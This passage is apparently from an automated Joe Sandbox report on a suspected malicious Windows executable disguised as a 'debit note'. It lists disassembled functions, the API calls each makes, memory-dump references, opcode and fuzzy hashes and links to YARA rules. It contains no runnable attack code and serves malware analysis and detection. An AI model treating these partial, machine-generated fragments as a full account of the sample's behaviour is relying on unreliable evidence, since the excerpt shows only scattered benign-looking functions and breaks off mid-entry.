                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseCurrentHandleMessageObjectSingleThreadWait
                                          • String ID:
                                          • API String ID: 2880819207-0
                                          • Opcode ID: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
                                          • Instruction ID: e6f874550e00e623fb34483f391c95d80eb5f5bc6ce026338450b862d26ff76c
                                          • Opcode Fuzzy Hash: 229c650092e78496607f1920186e21dd31435e443465a7f1ce6d350790d3a3c2
                                          • Instruction Fuzzy Hash: 48112572804114ABD710CF68ED08ADF3FACDF99721F10026AFC0493381D6B09A1083E9
                                          Function 00430B87 Relevance: 6.1, APIs: 4, Instructions: 53COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetWindowRect.USER32(?,?), ref: 00430BA2
                                          • ScreenToClient.USER32(?,?), ref: 00430BC1
                                          • ScreenToClient.USER32(?,?), ref: 00430BE2
                                          • InvalidateRect.USER32(?,?,?,?,?), ref: 00430BFB
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClientRectScreen$InvalidateWindow
                                          • String ID:
                                          • API String ID: 357397906-0
                                          • Opcode ID: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
                                          • Instruction ID: ace0395ef2957b48f9d17fb026497d1a369c9e3160b5fb36bd9a4683c33ce433
                                          • Opcode Fuzzy Hash: ae0d0d06dcef6ed583fb9704f0ef5e529f18a40629d10526419e4a4e3dd97404
                                          • Instruction Fuzzy Hash: 561174B9D00209AFCB14DF98C8849AEFBB9FF98310F10855EE855A3304D774AA41CFA0
                                          Function 00433908 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                                          Download Yara Rule
                                          APIs
                                          • __wsplitpath.LIBCMT ref: 0043392E
                                            • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                                          • __wsplitpath.LIBCMT ref: 00433950
                                          • __wcsicoll.LIBCMT ref: 00433974
                                          • __wcsicoll.LIBCMT ref: 0043398A
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicoll__wsplitpath$__wsplitpath_helper
                                          • String ID:
                                          • API String ID: 1187119602-0
                                          • Opcode ID: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
                                          • Instruction ID: cee1712abd0eced5cc96ea34974ed2185298bb9760f8079e64959bf12be8e646
                                          • Opcode Fuzzy Hash: 68e3b32a9464b28f7030a0941ccdc911afb24839bc46986435f1213a6174ca5b
                                          • Instruction Fuzzy Hash: 650121B2C0011DAACB14DF95DC41DEEB37CAB48314F04869EA60956040EA759BD88FE4
                                          Function 00434963 Relevance: 6.0, APIs: 4, Instructions: 46COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _wcslen$_malloc_wcscat_wcscpy
                                          • String ID:
                                          • API String ID: 1597257046-0
                                          • Opcode ID: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
                                          • Instruction ID: 3a313011a65081929a098f39c1c59cfda42f2cbb237f2651e2b7e76e77134880
                                          • Opcode Fuzzy Hash: 3c6fc8acff7e2f2e7aee9de07fb73a2c390eddda5e8305f0b40f95221864db4e
                                          • Instruction Fuzzy Hash: 40016271200604BFC714EB66D885EABF3EDEFC9354B00852EFA168B651DB39E841C764
                                          Function 0041F584 Relevance: 6.0, APIs: 4, Instructions: 41COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetEnvironmentStringsW.KERNEL32(00000000,00416513), ref: 0041F587
                                          • __malloc_crt.LIBCMT ref: 0041F5B6
                                          • FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0041F5C3
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: EnvironmentStrings$Free__malloc_crt
                                          • String ID:
                                          • API String ID: 237123855-0
                                          • Opcode ID: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
                                          • Instruction ID: d6a98a4ee5591e13f27bf8bfb2f7094eea62761642478a01f8f101a8eeefaa10
                                          • Opcode Fuzzy Hash: 07fe547740a9b68c76983245d8bba65816afc234b1fe2171e551a8e4c438482c
                                          • Instruction Fuzzy Hash: D1F08277505220BB8A25BF35BC458DB277ADAD536531A443BF407C3206F66C8ECB82B9
                                          Function 004556BE Relevance: 6.0, APIs: 4, Instructions: 40windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: DeleteDestroyObject$IconWindow
                                          • String ID:
                                          • API String ID: 3349847261-0
                                          • Opcode ID: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
                                          • Instruction ID: b40ecd1d224a0eee13877c21127d2214a34fa415f2bf64fab3c1d23e87691ec4
                                          • Opcode Fuzzy Hash: 7c154be5abaa40db753a7e31a7690d619ba9064fd0fbdb090dba25900d6c1ce3
                                          • Instruction Fuzzy Hash: 60F03C74200601DBC720EF66EDD892B77ACEF49762B00452AFD01D7256D738DC49CB69
                                          Function 0044B5E8 Relevance: 6.0, APIs: 4, Instructions: 37COMMON
                                          Download Yara Rule
                                          APIs
                                          • EnterCriticalSection.KERNEL32(?), ref: 0044B5F5
                                          • InterlockedExchange.KERNEL32(?,?), ref: 0044B603
                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B61A
                                          • LeaveCriticalSection.KERNEL32(?), ref: 0044B62C
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CriticalSection$Leave$EnterExchangeInterlocked
                                          • String ID:
                                          • API String ID: 2223660684-0
                                          • Opcode ID: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
                                          • Instruction ID: 403f3527bf09fa8cde02bf077099102ce48e3ba47acdf7e4c6f4aa39df9fcef1
                                          • Opcode Fuzzy Hash: f874c154f8023f3ba0c2945d1949571bb5db8163ed48ea6956c7f1527a392a8b
                                          • Instruction Fuzzy Hash: 78F05E36241104AF96145F59FD488EBB3ACEBE96317005A3FE5418361087A6E845CBB5
                                          Function 004472F1 Relevance: 6.0, APIs: 4, Instructions: 35COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0044719B: DeleteObject.GDI32(00000000), ref: 004471D8
                                            • Part of subcall function 0044719B: ExtCreatePen.GDI32(?,?,?,00000000,00000000), ref: 00447218
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447228
                                            • Part of subcall function 0044719B: BeginPath.GDI32(?), ref: 0044723D
                                            • Part of subcall function 0044719B: SelectObject.GDI32(?,00000000), ref: 00447266
                                          • MoveToEx.GDI32(?,?,?,00000000), ref: 00447317
                                          • LineTo.GDI32(?,?,?), ref: 00447326
                                          • EndPath.GDI32(?), ref: 00447336
                                          • StrokePath.GDI32(?), ref: 00447344
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ObjectPath$Select$BeginCreateDeleteLineMoveStroke
                                          • String ID:
                                          • API String ID: 2783949968-0
                                          • Opcode ID: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
                                          • Instruction ID: af9b10de2b5e1f20f757a647655db97b0f5a8bbb123370319d9b3a4020b10ea9
                                          • Opcode Fuzzy Hash: 4ed419099ee229fcfe9d8e0d6407f17218ff084d459cc4b150d2894610f6bb04
                                          • Instruction Fuzzy Hash: EBF06770105258BBE721AF54ED4EFAF3B9CAB06310F108119FE01622D1C7B86A02CBA9
                                          Function 0043646A Relevance: 6.0, APIs: 4, Instructions: 30threadwindowtimeCOMMON
                                          Download Yara Rule
                                          APIs
                                          • SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000002,00001388,00000001), ref: 00436489
                                          • GetWindowThreadProcessId.USER32(?,00000000), ref: 0043649C
                                          • GetCurrentThreadId.KERNEL32 ref: 004364A3
                                          • AttachThreadInput.USER32(00000000), ref: 004364AA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Thread$AttachCurrentInputMessageProcessSendTimeoutWindow
                                          • String ID:
                                          • API String ID: 2710830443-0
                                          • Opcode ID: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
                                          • Instruction ID: 8dfc3faa83ebd232c18032ab1719f084f6ac8c8028b438e2b3a9de4cfe148046
                                          • Opcode Fuzzy Hash: 1738b650cb43453f600e53b83a6833ccb1a076b1e6f33d9371cddf7c9876f8ab
                                          • Instruction Fuzzy Hash: 61F06D7168470477EB209BA09D0EFDF379CAB18B11F10C41ABB04BA0C0C6F8B50087AD
                                          Function 00436C2B Relevance: 6.0, APIs: 4, Instructions: 29synchronizationCOMMON
                                          Download Yara Rule
                                          APIs
                                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00436C38
                                          • UnloadUserProfile.USERENV(?,?,?,000000FF), ref: 00436C46
                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C56
                                          • CloseHandle.KERNEL32(?,?,000000FF), ref: 00436C5B
                                            • Part of subcall function 00436BA9: GetProcessHeap.KERNEL32(00000000,?), ref: 00436BB6
                                            • Part of subcall function 00436BA9: HeapFree.KERNEL32(00000000), ref: 00436BBD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
                                          • String ID:
                                          • API String ID: 146765662-0
                                          • Opcode ID: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
                                          • Instruction ID: 8fc8aea04bb3fa9100768a89291620bc24087d812574934f99790ad9b639e1d9
                                          • Opcode Fuzzy Hash: b977b2fe1054b7dcb1d3ac6099765c2a2cefd6419b68de81ef4d64d3a5db7b42
                                          • Instruction Fuzzy Hash: D9E0C97A510215ABC720EBA6DC48C5BB7ACEF99330311892EFD9683750DA74F840CFA4
                                          Function 00472B63 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDesktopWindow.USER32 ref: 00472B63
                                          • GetDC.USER32(00000000), ref: 00472B6C
                                          • GetDeviceCaps.GDI32(00000000,0000000C), ref: 00472B78
                                          • ReleaseDC.USER32(00000000,?), ref: 00472B99
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CapsDesktopDeviceReleaseWindow
                                          • String ID:
                                          • API String ID: 2889604237-0
                                          • Opcode ID: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
                                          • Instruction ID: 759e45c534ddacfdadb557a06d932f9b55f62470d77a370046d272fbe6975a9a
                                          • Opcode Fuzzy Hash: 25b4e9c05087b9933bd86976477b7eaa0c4512bf79646aedece74daf711fda7f
                                          • Instruction Fuzzy Hash: BFF03071900205AFDB00EFB5DA4DA5DB7F4FB44315B10887EFD05D7251EAB59900DB54
                                          Function 00472BB2 Relevance: 6.0, APIs: 4, Instructions: 27COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetDesktopWindow.USER32 ref: 00472BB2
                                          • GetDC.USER32(00000000), ref: 00472BBB
                                          • GetDeviceCaps.GDI32(00000000,00000074), ref: 00472BC7
                                          • ReleaseDC.USER32(00000000,?), ref: 00472BE8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CapsDesktopDeviceReleaseWindow
                                          • String ID:
                                          • API String ID: 2889604237-0
                                          • Opcode ID: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
                                          • Instruction ID: 439663e17c05eb9dd95bc161916493026628bcc8c78d0f5787bb5213a8e6c1b3
                                          • Opcode Fuzzy Hash: cc3434de2b8b5abc20458b04240aea2a6e15dc869db4e5eb232345cc1bf11604
                                          • Instruction Fuzzy Hash: FAF03075900205AFCB00EFB5DA8856DB7F4FB84315B10887EFD05D7250DB7999019B94
                                          Function 0041514D Relevance: 6.0, APIs: 4, Instructions: 16threadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • __getptd_noexit.LIBCMT ref: 00415150
                                            • Part of subcall function 004179F0: GetLastError.KERNEL32(?,?,00417F7C,00413644,?,?,004115F6,?,00401BAC,?,?,?), ref: 004179F4
                                            • Part of subcall function 004179F0: ___set_flsgetvalue.LIBCMT ref: 00417A02
                                            • Part of subcall function 004179F0: __calloc_crt.LIBCMT ref: 00417A16
                                            • Part of subcall function 004179F0: GetCurrentThreadId.KERNEL32 ref: 00417A46
                                            • Part of subcall function 004179F0: SetLastError.KERNEL32(00000000,?,004115F6,?,00401BAC,?,?,?), ref: 00417A5E
                                          • CloseHandle.KERNEL32(?,?,0041519B), ref: 00415164
                                          • __freeptd.LIBCMT ref: 0041516B
                                          • ExitThread.KERNEL32 ref: 00415173
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLastThread$CloseCurrentExitHandle___set_flsgetvalue__calloc_crt__freeptd__getptd_noexit
                                          • String ID:
                                          • API String ID: 1454798553-0
                                          • Opcode ID: 061228abfcaf70d0abda61f2bc5ea784a59968e7eaac298a3a03e2daddecc56e
                                          • Instruction ID: f82a1693998e09e6351869d5e4a2ded823041337c12103c56f11d560ed0c89ab
                                          • Opcode Fuzzy Hash: 061228abfcaf70d0abda61f2bc5ea784a59968e7eaac298a3a03e2daddecc56e
                                          • Instruction Fuzzy Hash: BCD0A732805E10A7C122273D5C0DBDF26655F40735B140B09FC25872D1CBACDDC143AC
                                          Function 0042F373 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 370COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _strncmp
                                          • String ID: Q\E
                                          • API String ID: 909875538-2189900498
                                          • Opcode ID: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
                                          • Instruction ID: ec78d02982e52cebfc3c5ce94050df53d12509a5c8006a296af1ac46f88178f7
                                          • Opcode Fuzzy Hash: 065ac9b34865f8fc92d580161c5db786cff1d7033ea8ce1a4bef46ec8c054806
                                          • Instruction Fuzzy Hash: 34C1A070A04279ABDF318E58A4507ABBBB5AF59310FE441BFD8D493341D2784D8ACB89
                                          Function 00460D41 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 277comCOMMON
                                          Download Yara Rule
                                          APIs
                                          • OleSetContainedObject.OLE32(00000000,00000001), ref: 00460F3E
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                            • Part of subcall function 00445660: OleSetContainedObject.OLE32(?,00000000), ref: 004456DD
                                            • Part of subcall function 00451B42: GetLastError.KERNEL32(?,?,00000000), ref: 00451BA0
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(?,?), ref: 00451BF8
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000068,?), ref: 00451C0E
                                            • Part of subcall function 00451B42: VariantCopy.OLEAUT32(-00000088,?), ref: 00451C27
                                            • Part of subcall function 00451B42: VariantClear.OLEAUT32(-00000058), ref: 00451CA1
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
